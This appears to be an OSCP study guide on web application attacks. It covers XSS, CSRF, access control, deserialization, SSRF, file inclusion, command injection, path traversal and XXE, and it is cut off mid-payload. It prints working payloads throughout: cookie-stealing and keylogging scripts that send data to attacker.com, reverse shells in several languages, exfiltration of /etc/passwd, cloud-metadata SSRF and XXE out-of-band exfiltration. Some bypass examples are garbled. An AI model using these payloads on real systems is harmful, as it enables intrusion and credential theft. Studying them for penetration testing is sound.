Domain 2Web App AttacksCORE

Common Web Application Attacks

Study notes for Common Web Application Attacks covering key PEN-200 methodology and lab techniques.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-05
#Common Web Application Attacks#PEN-200

OSCP Study Guide: Common Web Application Attacks

Author: OSCP Research Guide | Version: 1.0 | Last Updated: 2026-08-31

This guide covers the most critical web application vulnerabilities tested in the OSCP examination. Each topic includes technical explanations, attack vectors, tools, and mitigation strategies.


Table of Contents

  1. OWASP Top 10 Overview
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Broken Access Control
  5. Security Misconfiguration
  6. Insecure Deserialization
  7. Server-Side Request Forgery (SSRF)
  8. File Inclusion (LFI/RFI)
  9. Command Injection
  10. Path Traversal
  11. XML External Entities (XXE)
  12. HTTP Request Smuggling
  13. Session Hijacking and Fixation
  14. Clickjacking
  15. Open Redirect
  16. Business Logic Flaws
  17. Authentication Bypass Techniques
  18. Brute Force and Credential Stuffing
  19. Essential Tools Reference
  20. Attack Flow Diagrams

1. OWASP Top 10 Overview

The OWASP Top 10 represents the most critical security risks to web applications. Updated in 2021, it serves as the foundation for web application security testing.

OWASP Top 10 (2021) Summary Table

# Category Risk Level Description OSCP Relevance
A01 Broken Access Control Critical Users can act outside intended permissions Very High
A02 Cryptographic Failures High Sensitive data exposed due to weak crypto High
A03 Injection Critical Untrusted data sent to interpreter as code Very High
A04 Insecure Design Medium Missing or flawed security controls Medium
A05 Security Misconfiguration High Incorrectly configured security settings High
A06 Vulnerable and Outdated Components Medium Using components with known vulnerabilities High
A07 Identification and Authentication Failures High Weak auth mechanisms Very High
A08 Software and Data Integrity Failures High Untrusted code/data processed unsafely Medium
A09 Security Logging and Monitoring Failures Medium Insufficient detection of attacks Low
A10 Server-Side Request Forgery (SSRF) High Server makes requests to unintended locations High

Key Injection Types Covered in OSCP

Injection Type Target Interpreter Common Payloads Detection Method
SQL Injection Database (SQL) ' OR 1=1-- Error messages, time delays
Command Injection OS Shell ; ls, ` cat /etc/passwd`
XSS Browser (JS) <script>alert(1)</script> Reflected/evaluated JS
LDAP Injection LDAP Server *)(uid=* Unexpected directory results
XXE XML Parser <!ENTITY xxe SYSTEM...> File disclosure, SSRF

2. Cross-Site Scripting (XSS)

XSS occurs when an application includes untrusted data in a web page without proper validation or encoding. The browser executes the malicious script as if it were trusted.

XSS Classification

| Type | Storage Location | Persistence | Example Scenario | |—— | |——|—————–|———––|———————| | Reflected | URL parameters / request body | Non-persistent | Search results page reflects input | | Stored | Database / file system | Persistent | Comment section, forum posts | | DOM-based | Client-side JavaScript | Non-persistent | URL fragment manipulation via JS |

Reflected XSS

Technical Explanation:

  • User input reflected directly in HTTP response
  • No server-side storage of the payload
  • Requires social engineering to deliver the malicious URL
  • The payload executes in the victim’s browser on each visit

Attack Vector:

GET /search?q=<script>document.location='http://attacker.com/?c='+document.cookie</script> HTTP/1.1
Host: vulnerable-app.com

Exploitation Steps:

  1. Identify input fields that reflect user data
  2. Test with basic payload: <script>alert(1)</script>
  3. If filtered, try encoding variants
  4. Craft payload to steal cookies or perform actions
  5. Deliver malicious URL via phishing

Common Bypass Techniques:

Filter Rule Bypass Technique Example
Blocks <script> Case variation <ScRiPt>alert(1)</ScRiPt>
Blocks <script> HTML entities &#60;script&#62;alert(1)&#60;/script&#62;
Blocks <script> Alternative tags <img src=x onerror=alert(1)>
Blocks < > Event handlers <svg onload=alert(1)>
Blocks javascript: Protocol bypass java&#110;avascript:alert(1)
Length limits Minified payloads <svg/onload=alert(1)>

Event Handler Payloads:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>

Stored XSS

Technical Explanation:

  • Malicious script stored on the server
  • Executes when any user views the affected page
  • Higher impact than reflected XSS
  • Affects all users who access the stored content

Attack Vector:

POST /comments HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded

comment=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Exploitation Steps:

  1. Find input fields that store data (comments, profiles, messages)
  2. Submit XSS payload through the input
  3. Verify payload is stored and renders on page load
  4. Craft advanced payload for data exfiltration
  5. Any user viewing the page becomes a victim

Advanced Stored XSS Payloads:

// Cookie theft
<script>new Image().src='http://attacker.com/?c='+document.cookie</script>

// Keylogger
<script>
document.onkeypress = function(e) {
    new Image().src='http://attacker.com/log?k='+e.key;
};
</script>

// Redirect to phishing page
<script>document.location='http://phishing-site.com'</script>

// DOM clobbering for data theft
<script>
fetch('/api/sensitive-data').then(r=>r.text()).then(d=>{
    new Image().src='http://attacker.com/?d='+encodeURIComponent(d);
});
</script>

DOM-based XSS

Technical Explanation:

  • Vulnerability exists in client-side JavaScript
  • No server-side reflection involved
  • Browser’s DOM manipulation creates the vulnerability
  • Server logs show no suspicious activity

Common Sink Functions:

Sink Function Risk Example
document.write() Critical document.write(location.hash)
innerHTML High element.innerHTML = userInput
outerHTML High element.outerHTML = userInput
document.location High location.href = userInput
eval() Critical eval(userInput)
setTimeout() / setInterval() High setTimeout(userInput, 1000)
window.location.assign() Medium location.assign(userInput)

Attack Vector:

https://vulnerable-app.com/page#<img src=x onerror=alert(1)>

Exploitation Steps:

  1. Analyze client-side JavaScript for DOM manipulation
  2. Identify sources (location.hash, location.search, document.URL)
  3. Identify sinks (innerHTML, document.write, eval)
  4. Trace data flow from source to sink
  5. Craft payload targeting the vulnerable sink

XSS Detection and Exploitation Tools

Tool Purpose Key Features
Burp Suite Proxy + Scanner Intercept requests, modify payloads, active scanning
XSStrike Automated XSS Advanced detection, WAF bypass, multiple payloads
Dalfox XSS Scanner Fast, multi-mode, DOM XSS detection
xsleak DOM XSS Exploit DOM information leaks
BeEF Browser Exploitation Framework for post-XSS exploitation
OWASP ZAP Scanner Automated active and passive scanning

XSS Mitigation Strategies

Strategy Implementation Effectiveness
Output Encoding HTML-encode all user input before rendering High
Content Security Policy (CSP) Content-Security-Policy: default-src 'self' High
Input Validation Whitelist allowed characters and patterns Medium
HttpOnly Cookies Set-Cookie: session=abc; HttpOnly; Secure Medium (prevents cookie theft)
Context-Aware Encoding Encode based on output context (HTML, JS, URL, CSS) High
Sanitization Libraries DOMPurify, OWASP Java Encoder High

3. Cross-Site Request Forgery (CSRF)

CSRF forces an authenticated user to execute unwanted actions on a trusted web application. The attacker exploits the browser’s automatic inclusion of credentials (cookies, session tokens).

CSRF Technical Explanation

  • The browser automatically sends cookies with every request to the target domain
  • The application cannot distinguish between legitimate and forged requests
  • The attack relies on the user being authenticated at the time of exploitation
  • State-changing operations are the primary targets

CSRF Attack Flow

sequenceDiagram
    participant A as Attacker
    participant V as Victim (Authenticated)
    participant S as Target Server

    A->>V: Send malicious page/link with hidden form
    V->>V: Browser loads malicious page
    V->>S: Browser auto-sends request with valid cookies
    S->>S: Processes request as legitimate
    S-->>V: Returns response (action performed)
    V-->>A: Victim unaware, action completed

CSRF vs XSS Comparison

Aspect CSRF XSS
Trust Exploited User’s session/cookies User’s trust in the site
Code Execution No code execution on victim JavaScript executes on victim
Authentication Required Victim must be logged in No auth required on victim
Data Theft Cannot read response Can read and steal data
Prevention Anti-CSRF tokens Output encoding, CSP
Impact State-changing actions Full browser compromise

CSRF Attack Types

Type Mechanism Example
GET-based Malicious link or image tag <img src="https://bank.com/transfer?to=attacker&amt=1000">
POST-based Auto-submitting HTML form Hidden form with JavaScript auto-submit
XMLHTTPRequest JavaScript fetch/XHR Requires CORS misconfiguration

GET-based CSRF Payload

<!-- Forces a money transfer when victim visits the page -->
<img src="https://bank.com/api/transfer?to=attacker_account&amount=10000" width="0" height="0" />

POST-based CSRF Payload

<html>
<body>
    <form action="https://bank.com/api/transfer" method="POST">
        <input type="hidden" name="to" value="attacker_account" />
        <input type="hidden" name="amount" value="10000" />
        <input type="submit" value="Click Me" />
    </form>
    <script>document.forms[0].submit();</script>
</body>
</html>

CSRF Exploitation Steps

  1. Identify state-changing operations (transfer, change email, update password)
  2. Capture the legitimate request using Burp Suite
  3. Determine if the request requires anti-CSRF tokens
  4. Check if tokens are predictable or reusable
  5. Craft CSRF payload (form or link)
  6. Host payload on attacker-controlled server
  7. Deliver to victim via phishing or social engineering

CSRF Token Bypass Techniques

Technique Condition Method
No token present Missing CSRF protection Direct forged request works
Referer-based validation Checks Referer header Omit Referer or spoof it
Origin-based validation Checks Origin header Host payload on subdomain
Predictable tokens Weak token generation Brute force or predict token
Token not tied to session Global token Reuse token from another session
GET requests unprotected Only POST protected Use GET-based CSRF

CSRF Mitigation Strategies

Strategy Implementation Notes
Anti-CSRF Tokens Unique token per session/request Most effective defense
SameSite Cookie Attribute Set-Cookie: session=abc; SameSite=Strict Browser-level protection
Custom Headers Require X-Requested-With: XMLHttpRequest Blocks simple form submissions
Re-authentication Require password for sensitive actions Adds friction but effective
Referer Validation Check Referer matches expected domain Can be bypassed

4. Broken Access Control

Broken Access Control occurs when restrictions on what authenticated users can access are not properly enforced. This is the #1 risk in OWASP Top 10 2021.

Access Control Types

Type Description Example
Horizontal User accesses same-level resources belonging to others User A views User B’s profile
Vertical User accesses higher-privilege resources Regular user accesses admin panel
RESTful Manipulating resource IDs in URLs /api/users/1 → /api/users/2
Object-level Bypassing checks on specific objects Accessing deleted/inactive records

Insecure Direct Object Reference (IDOR)

Technical Explanation:

  • Application exposes internal implementation objects directly
  • User can manipulate references to access unauthorized data
  • Common in REST APIs and database-driven applications

Attack Vector:

# Legitimate request
GET /api/users/1001/orders HTTP/1.1
Host: app.com

# Attacker changes ID
GET /api/users/1002/orders HTTP/1.1
Host: app.com

Exploitation Steps:

  1. Map out all endpoints with numeric or predictable IDs
  2. Change IDs to access other users’ resources
  3. Try sequential IDs, UUIDs, or hash manipulation
  4. Test with different HTTP methods (GET, POST, PUT, DELETE)
  5. Document all accessible resources

Privilege Escalation via Parameter Tampering

Parameter Legitimate Value Attack Value Effect
role user admin Gain admin privileges
is_admin false true Enable admin features
user_id 1001 1 Access super admin data
permission read write Gain write access
account_type basic premium Unlock premium features

Forced Browsing

Technical Explanation:

  • Accessing URLs or files that are not linked from the application
  • Relies on the assumption that users will only access known pages
  • Common in poorly secured admin panels and backup files

Common Targets:

/admin/
/administrator/
/wp-admin/
/debug/
/test/
/backup/
/.git/
/server-status/
/phpmyadmin/
/console/
/actuator/
/swagger-ui/
/api-docs/

Access Control Mitigation Strategies

Strategy Implementation
Deny by Default All access denied unless explicitly allowed
Centralized Access Control Single enforcement point for all checks
Least Privilege Grant minimum necessary permissions
Session Binding Bind resources to authenticated session
Server-Side Validation Never rely on client-side checks alone

5. Security Misconfiguration

Security misconfiguration occurs when secure defaults are not set, configurations are incomplete, or unnecessary features are enabled.

Common Misconfigurations

Category Misconfiguration Impact Detection
HTTP Headers Missing security headers XSS, clickjacking, MIME sniffing Check response headers
Server Info Verbose error messages Information disclosure Trigger errors intentionally
Default Accounts Default credentials unchanged Unauthorized access Try default credentials
Directory Listing Enabled on web server File enumeration Browse to directories
Cloud Storage Public S3 buckets Data exposure Search for open buckets
HTTP Methods TRACE, DELETE enabled XST, data deletion Test with OPTIONS method
SSL/TLS Weak ciphers, old protocols Man-in-the-middle SSL Labs, testssl.sh
CORS Overly permissive policy Cross-origin data access Check Access-Control headers

Missing Security Headers

Header Purpose Recommended Value
X-Content-Type-Options Prevent MIME sniffing nosniff
X-Frame-Options Prevent clickjacking DENY or SAMEORIGIN
Content-Security-Policy Control resource loading default-src 'self'
Strict-Transport-Security Enforce HTTPS max-age=31536000; includeSubDomains
X-XSS-Protection Legacy XSS filter 1; mode=block
Referrer-Policy Control referrer info strict-origin-when-cross-origin
Permissions-Policy Control browser features geolocation=(), camera=()

Information Disclosure via Error Messages

Common Information Leaks:

Error Type Information Revealed Example
Stack Trace Framework, version, file paths File "/var/www/app.py", line 42
Database Error DB type, query structure You have an error in your SQL syntax
Server Header Web server software/version Server: Apache/2.4.41 (Ubuntu)
Debug Mode Internal configuration Django debug page with settings
PHP Info PHP version, extensions, paths phpinfo() output

Server Version Detection Commands

# Nmap service detection
nmap -sV -p 80,443,8080 <target>

# HTTP headers enumeration
curl -I https://target.com

# Nikto web scanner
nikto -h https://target.com

# WhatWeb technology detection
whatweb https://target.com

Security Misconfiguration Mitigation

Strategy Action
Hardened Baseline Use security-hardened configurations
Automated Scanning Regular configuration audits
Minimal Install Remove unnecessary features and pages
Segmented Architecture Separate dev, staging, production
Continuous Monitoring Alert on configuration changes

6. Insecure Deserialization

Insecure deserialization occurs when untrusted data is deserialized without proper validation. This can lead to remote code execution, authentication bypass, and other critical vulnerabilities.

Deserialization Fundamentals

Language Serialization Format Common Libraries Risk Level
Java Java native, XML (XStream) ObjectInputStream, XStream Critical
PHP PHP native unserialize() Critical
Python pickle, marshal pickle.loads() Critical
.NET BinaryFormatter, JSON.NET BinaryFormatter.Deserialize() Critical
Ruby Marshal, YAML Marshal.load() Critical
JavaScript JSON (lower risk) JSON.parse() Low

Java Deserialization

Technical Explanation:

  • Java’s ObjectInputStream.readObject() can instantiate arbitrary objects
  • Malicious gadgets chains exploit readObject() implementations
  • ysoserial provides pre-built exploit chains for common libraries

Common Gadget Chains:

Library Gadget Chain Impact
Commons Collections 3.1-3.2.1 InvokerTransformer RCE
Commons Collections 4.0-4.0.1 InvokerTransformer RCE
Spring Framework < 4.1.4 BeanFactory RCE
Groovy < 2.4.5 DefaultGroovyMethods RCE
JDK 7u21+ AnnotationInvocationHandler RCE

Exploitation with ysoserial:

# Generate malicious serialized payload
java -jar ysoserial.jar CommonsCollections5 "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'" > payload.bin

# Send payload via HTTP request
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

PHP Deserialization

Technical Explanation:

  • PHP’s unserialize() reconstructs objects from serialized strings
  • Magic methods are triggered during deserialization
  • __wakeup(), __destruct(), __toString() are common attack vectors

PHP Magic Methods for Exploitation:

Method Triggered When Exploitation Use
__wakeup() Object is unserialized Bypass with object count manipulation
__destruct() Object is destroyed Execute code on garbage collection
__toString() Object used as string Trigger during error output
__sleep() Object is serialized Modify state before serialization
__call() Calling inaccessible method Trigger via method invocation
__autoload() Class not found Load malicious class files

PHP Serialization Format:

O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"is_admin";b:1;}

Exploitation Steps:

  1. Find serialized data in cookies, parameters, or hidden fields
  2. Identify the class being deserialized
  3. Review source code for magic method implementations
  4. Craft malicious serialized object
  5. Inject the payload into the deserialization point

PHP Object Injection Payload:

<?php
class FileHandler {
    public $filename = "/etc/passwd";
    public $mode = "read";
}

$obj = new FileHandler();
echo serialize($obj);
// Output: O:11:"FileHandler":2:{s:8:"filename";s:11:"/etc/passwd";s:4:"mode";s:4:"read";}
?>

Python Pickle Deserialization

Technical Explanation:

  • Python’s pickle module can execute arbitrary code during unpickling
  • The __reduce__() method allows specifying arbitrary function calls
  • Any untrusted pickle data should be considered dangerous

Exploitation Example:

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.14.1/4443 0>&1"',))

payload = pickle.dumps(Exploit())
print(payload)

.NET Deserialization

Technical Explanation:

  • .NET’s BinaryFormatter is inherently insecure
  • LoLBin and ysoserial.net provide gadget chains
  • Affects ASP.NET ViewState, WCF, and WSE

Common .NET Attack Vectors:

Vector Location Exploitation
ViewState ASP.NET pages Modify __VIEWSTATE parameter
WCF Services SOAP endpoints Craft malicious SOAP body
WSE 3.0 Web Services Enhancements Exploit XmlSerializer
ObjectStateFormatter Session state Tamper with session data

Deserialization Detection

Indicator Description
Base64-encoded data Serialized objects often Base64-encoded
PHP serialization markers O:, a:, s:, i: prefixes
Java serialization magic aced 0005 hex header
Pickle protocol markers \x80\x02 or \x80\x03
.NET BinaryFormatter 00 00 00 00 01 00 54 02 header

Deserialization Mitigation

Strategy Implementation
Avoid Deserialization Use safe data formats (JSON, XML with schema)
Input Validation Validate and sanitize all serialized data
Integrity Checks HMAC or digital signatures on serialized data
Object Whitelisting Allow only specific classes to be deserialized
Replace Unsafe APIs Use safe alternatives (JSON instead of pickle)

7. Server-Side Request Forgery (SSRF)

SSRF occurs when an application fetches a remote resource without validating the user-supplied URL. The attacker can force the server to make requests to internal or external systems.

SSRF Technical Explanation

  • The server acts as a proxy for fetching resources
  • The attacker controls the destination URL
  • Internal networks are accessible from the server but not from the attacker
  • Cloud metadata services are a high-value target

SSRF Attack Targets

Target Purpose Example URL
Cloud Metadata Steal credentials http://169.254.169.254/latest/meta-data/
Internal Services Access admin panels http://127.0.0.1:8080/admin
Local Files Read sensitive files file:///etc/passwd
Internal APIs Access internal endpoints http://10.0.0.5:3000/api/internal
Port Scanning Discover open ports http://10.0.0.1:22 (timeout = closed)
Redis/Memcached Inject commands gopher://127.0.0.1:6379/...

Cloud Metadata Endpoints

Cloud Provider Metadata URL Sensitive Data
AWS http://169.254.169.254/latest/meta-data/iam roles/ IAM credentials, access keys
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Managed identity tokens
GCP http://metadata.google.internal/computeMetadata/v1/ Service account tokens
Alibaba Cloud http://100.100.100.200/latest/meta-data/ ECS instance credentials
Oracle Cloud http://169.254.169.254/ Instance principal tokens

SSRF Exploitation Techniques

Basic SSRF:

GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com

URL Encoding Bypass:

# Double URL encoding
?url=http%253A%252F%252F169.254.169.254%252Flatest%252Fmeta-data%252F

# IP encoding variations
?url=http://0x7f000001:8080/          # Hex IP
?url=http://2130706433/               # Decimal IP
?url=http://127.1/                    # Shortened IP
?url=http://localhost/                # Hostname
?url=http://0/                        # Zero IP

Protocol-Based SSRF:

Protocol Use Case Example
file:// Read local files file:///etc/passwd
gopher:// Interact with protocols gopher://127.0.0.1:6379/_INFO
dict:// Dictionary protocol dict://127.0.0.1:11211/stats
ldap:// LDAP queries ldap://127.0.0.1:389/cn=users
ftp:// FTP access ftp://127.0.0.1:21/
php:// PHP wrappers php://filter/convert.base64-encode/resource=config.php

Gopher Protocol for Redis Exploitation:

gopher://127.0.0.1:6379/_INFO%0d%0aSET%20test%20pwned%0d%0a

SSRF SSRF Attack Flow

sequenceDiagram
    participant A as Attacker
    participant W as Web Application
    participant I as Internal Service
    participant C as Cloud Metadata

    A->>W: Request with malicious URL parameter
    Note over A,W: ?url=http://169.254.169.254/meta-data
    W->>W: Validates URL (bypassed)
    W->>C: Server makes internal request
    C-->>W: Returns sensitive metadata
    W-->>A: Returns metadata in response
    A->>A: Extracts AWS credentials

SSRF Bypass Techniques

Filter Bypass Method Example
Blocks 127.0.0.1 Use localhost http://localhost/
Blocks localhost Use IP variants http://127.0.0.1/
Blocks 127.0.0.1 Use decimal IP http://2130706433/
Blocks 127.0.0.1 Use hex IP http://0x7f000001/
Blocks 127.0.0.1 Use octal IP http://0177.0.0.1/
Blocks 127.0.0.1 Use IPv6 http://[::1]/
Blocks 127.0.0.1 Use DNS rebinding Custom domain resolving to internal IP
Blocks internal IPs Use URL redirect External URL redirects to internal
Blocks http:// Use protocol wrapper file:///etc/passwd
Blocks specific domains Use wildcard DNS *.attacker.com resolves to internal

SSRF Mitigation Strategies

Strategy Implementation
URL Allowlisting Only allow specific domains and paths
Input Validation Validate and normalize URLs before use
Disable Unnecessary Protocols Block file://, gopher://, dict://
Network Segmentation Isolate internal services from web tier
Egress Filtering Restrict outbound connections from servers
Remove HTTP Response Body Return status code only, not content

8. File Inclusion (LFI/RFI)

File inclusion vulnerabilities occur when an application includes files using user-controlled input without proper validation.

LFI vs RFI Comparison

Aspect Local File Inclusion (LFI) Remote File Inclusion (RFI)
File Source Local server filesystem Remote URL
PHP Setting Always possible Requires allow_url_include=On
Impact Read local files, RCE via logs Direct remote code execution
Prevalence Very common Less common (modern PHP disables)
Detection Read /etc/passwd Include remote shell

LFI Technical Explanation

  • Application uses user input to determine which file to include
  • No validation or insufficient validation of the file path
  • Attackers can traverse directories to access sensitive files
  • Can escalate to Remote Code Execution (RCE) via log poisoning

Vulnerable Code Example:

<?php
$page = $_GET['page'];
include($page . '.php');
?>

Directory Traversal Sequences

Sequence Purpose Example
../ Go up one directory ../../../../etc/passwd
..\\ Windows path traversal ..\\..\\windows\\win.ini
%2e%2e%2f URL-encoded traversal Bypass simple filters
%252e%252e%252f Double URL-encoded Bypass single decode
..%255c Encoded backslash Windows bypass
....// Filter bypass Some filters block ../ but not ....//

LFI to RCE Techniques

Technique Requirement Method
Log Poisoning Access to log files Inject payload into web server logs
PHP Session Poisoning Session file access Upload malicious session data
/proc/self/environ Apache mod_cgi Inject via User-Agent header
Null Byte Truncation PHP < 5.3.4 page=../../etc/passwd%00
Data Wrapper PHP enabled php://filter/convert.base64-encode/resource=config.php
Expect Wrapper PHP enabled expect://id

PHP Wrappers for LFI

Wrapper Purpose Example
php://filter Read/transform files php://filter/convert.base64-encode/resource=config.php
php://input Read POST data Include raw POST body as PHP
php://self Current script php://self
php://filter/read=string.rot13 ROT13 encoding Bypass content filters
data:// Data URI data://text/plain,<?php system('id'); ?>
expect:// Execute commands expect://cat /etc/passwd
zip:// Read ZIP contents zip://archive.zip%23shell.php
phar:// Read PHAR archives phar://archive.phar/shell.php

Log Poisoning for RCE

Exploitation Steps:

  1. Identify LFI vulnerability
  2. Determine log file location (/var/log/apache2/access.log)
  3. Inject PHP payload into log via HTTP request
  4. Include the log file through LFI
  5. PHP payload executes on the server

Payload Injection:

# Inject payload via User-Agent
curl http://target.com/vuln.php?page=index \
  -H "User-Agent: <?php system('id'); ?>"

# Include the log file
curl http://target.com/vuln.php?page=../../../../var/log/apache2/access.log

Session Poisoning for RCE

Exploitation Steps:

  1. Find LFI vulnerability
  2. Determine session file path (/var/lib/php/sessions/sess_<SESSION_ID>)
  3. Set session ID to known value via cookie
  4. Send POST data containing PHP payload
  5. Include session file through LFI
# Set session cookie and inject payload
curl -c cookies.txt http://target.com/
curl -b "PHPSESSID=mysession" http://target.com/ \
  -d "<?php system('id'); ?>"

# Include session file
curl http://target.com/vuln.php?page=../../../../var/lib/php/sessions/sess_mysession

RFI Exploitation

# Include remote shell
curl "http://target.com/vuln.php?page=http://attacker.com/shell.txt"

# Shell content (shell.txt)
<?php system($_GET['cmd']); ?>

# Execute commands
curl "http://target.com/vuln.php?page=http://attacker.com/shell.txt&cmd=id"

File Inclusion Mitigation

Strategy Implementation
Whitelist Approach Only allow predefined file names
Disable Remote Includes Set allow_url_include=Off in php.ini
Input Validation Reject paths containing .. or special characters
Chroot Jail Restrict file system access
Use IDs Instead of Paths Map IDs to files server-side
Remove Dynamic Includes Use static file mapping

9. Command Injection

Command injection occurs when an application passes unsafe user input to a system shell. The attacker can execute arbitrary operating system commands.

Command Injection Types

Type Description Example
OS Command Injection Direct command execution ; cat /etc/passwd
Blind Command Injection No output visible Time-based or out-of-band
Server-Side Code Injection Code execution in app language PHP eval(), Python exec()
DNS Rebinding Bypass host-based filters DNS resolves to different IPs

Command Separators and Operators

Character Function Example
; Command separator input; cat /etc/passwd
| Pipe (stdout to stdin) input | cat /etc/passwd
|| OR (execute if first fails) input || cat /etc/passwd
&& AND (execute if first succeeds) input && cat /etc/passwd
` Command substitution input `whoami`
$() Command substitution (modern) input $(whoami)
& Background execution input & cat /etc/passwd

Command Injection Payloads

Basic Reconnaissance:

# Who am I?
; whoami
| whoami
$(whoami)

# What OS?
; uname -a
| uname -a

# List files
; ls -la /
| ls -la /tmp

# Check network
; ifconfig
| ip addr show
; netstat -antp

Reverse Shell Payloads:

# Bash reverse shell
; bash -i >& /dev/tcp/10.10.14.1/4443 0>&1

# Python reverse shell
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Perl reverse shell
; perl -e 'use Socket;$i="10.10.14.1";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# Netcat reverse shell
; nc -e /bin/sh 10.10.14.1 4443
; nc -e /bin/bash 10.10.14.1 4443

# PHP reverse shell
; php -r '$sock=fsockopen("10.10.14.1",4443);exec("/bin/sh -i <&3 >&3 2>&3");'

Blind Command Injection Techniques

Time-Based Detection:

# If response is delayed, injection is confirmed
; sleep 5
| sleep 5
$(sleep 5)

# Conditional delay
; [ 1 -eq 1 ] && sleep 5

Out-of-Band Detection (DNS):

# DNS exfiltration
; nslookup $(whoami).attacker.com
; ping -c 1 $(cat /etc/passwd | head -1).attacker.com

# Using curl for HTTP exfiltration
; curl http://attacker.com/$(whoami)

Out-of-Band Detection (HTTP):

# HTTP request to attacker server
; curl http://10.10.14.1:8080/$(cat /etc/passwd)
; wget http://10.10.14.1:8080/$(whoami)

Command Injection Filter Bypasses

Filter Bypass Technique Example
Spaces blocked ${IFS} cat${IFS}/etc/passwd
Spaces blocked Tab character cat%09/etc/passwd
Spaces blocked $() padding $(cat /etc/passwd)
/ blocked $PATH variable cat$PATHetc/passwd
/ blocked Environment variable cat${HOME}/../etc/passwd
Alphanumeric only Environment variables cat$9/etc/passwd
Backticks blocked $() substitution $(whoami)
Semicolon blocked && or || whoami&&cat /etc/passwd
Common commands blocked Alternative commands getent passwd instead of cat /etc/passwd

Command Injection Mitigation

Strategy Implementation
Avoid Shell Commands Use language-native functions instead
Input Validation Strict whitelist of allowed characters
Parameterized APIs Use APIs that don’t invoke shell
Escape Special Characters Properly escape all shell metacharacters
Principle of Least Privilege Run application with minimal permissions
Use chroot/Sandbox Isolate command execution environment

10. Path Traversal

Path traversal (directory traversal) allows an attacker to access files and directories stored outside the web root folder.

Path Traversal Technical Explanation

  • Application uses user input to construct file paths
  • Insufficient sanitization of ../ sequences
  • Attacker can navigate to parent directories
  • Can read sensitive system files or application source code

Path Traversal Payloads

Basic Traversal:

../../../../etc/passwd
../../../../etc/shadow
../../../../windows/win.ini
../../../../var/log/auth.log

Encoded Variations:

Encoding Payload Use Case
URL-encoded %2e%2e%2f Basic encoding bypass
Double URL-encoded %252e%252e%252f Double decode bypass
UTF-8 encoded %c0%ae%c0%ae/ UTF-8 bypass
UTF-16 encoded %fe%fe%02%e UTF-16 bypass
Unicode ..%5c Windows backslash
Overlong UTF-8 %252e%252e%252f Triple encoding

Sensitive Files to Target

OS File Purpose
Linux /etc/passwd User accounts
Linux /etc/shadow Password hashes
Linux /etc/hosts Host mappings
Linux /proc/self/environ Environment variables
Linux /proc/version Kernel version
Linux /var/log/auth.log Authentication logs
Linux ~/.bash_history Command history
Windows C:\Windows\win.ini Windows config
Windows C:\Windows\System32\drivers\etc\hosts Host mappings
Windows C:\boot.ini Boot configuration
App web.config ASP.NET config
App .htaccess Apache config
App config.php PHP config
App application.yml Java/Spring config
App .env Environment variables

Path Traversal Attack Flow

flowchart TD
    A[Identify file parameter] --> B[Test basic traversal]
    B --> C{File content returned?}
    C -->|Yes| D[Enumerate sensitive files]
    C -->|No| E[Test encoding bypasses]
    E --> F{File content returned?}
    F -->|Yes| D
    F -->|No| G[Test null byte truncation]
    G --> H{File content returned?}
    H -->|Yes| D
    H -->|No| I[Not vulnerable or different filter]
    D --> J[Extract credentials/configs]
    J --> K[Use for further exploitation]

Path Traversal Mitigation

Strategy Implementation
Canonicalize Paths Resolve to absolute path, check prefix
Whitelist Files Only allow specific filenames
Chroot Jail Restrict filesystem access
Remove Base Directory Strip known base from user input
Use File IDs Map IDs to files, never use user paths
Validate Input Reject .., /, \, and encoded variants

11. XML External Entities (XXE)

XXE occurs when an XML parser processes external entities defined in user-controlled XML input. This can lead to file disclosure, SSRF, and denial of service.

XXE Technical Explanation

  • XML documents can define entities that reference external resources
  • The XML parser resolves these entities during processing
  • An attacker can define entities pointing to local files or internal services
  • Many XML parsers enable external entity processing by default

XXE Attack Types

Type Purpose Impact
File Read Read local files Information disclosure
SSRF Access internal services Network reconnaissance
Blind XXE Exfiltrate data out-of-band Data theft (no direct output)
DoS (Billion Laughs) Entity expansion attack Server resource exhaustion
Server-Side Code Execution Combined with other vulns Full server compromise

Basic XXE Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

XXE File Read Payload

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ELEMENT data ANY >
    <!ENTITY file SYSTEM "file:///etc/shadow">
]>
<data>&file;</data>

Blind XXE with OOB Exfiltration

Technical Explanation:

  • Application does not return XML parsing results
  • Attacker uses external entity to send data to their server
  • Data is exfiltrated via HTTP request to attacker-controlled server

Payload:

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ELEMENT data ANY >
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
    %dtd;
    %send;
]>
<data>test</data>

External DTD (xxe.dtd) on attacker server:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

Billion Laughs DoS

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY a "ha">
    <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
    <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
    <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
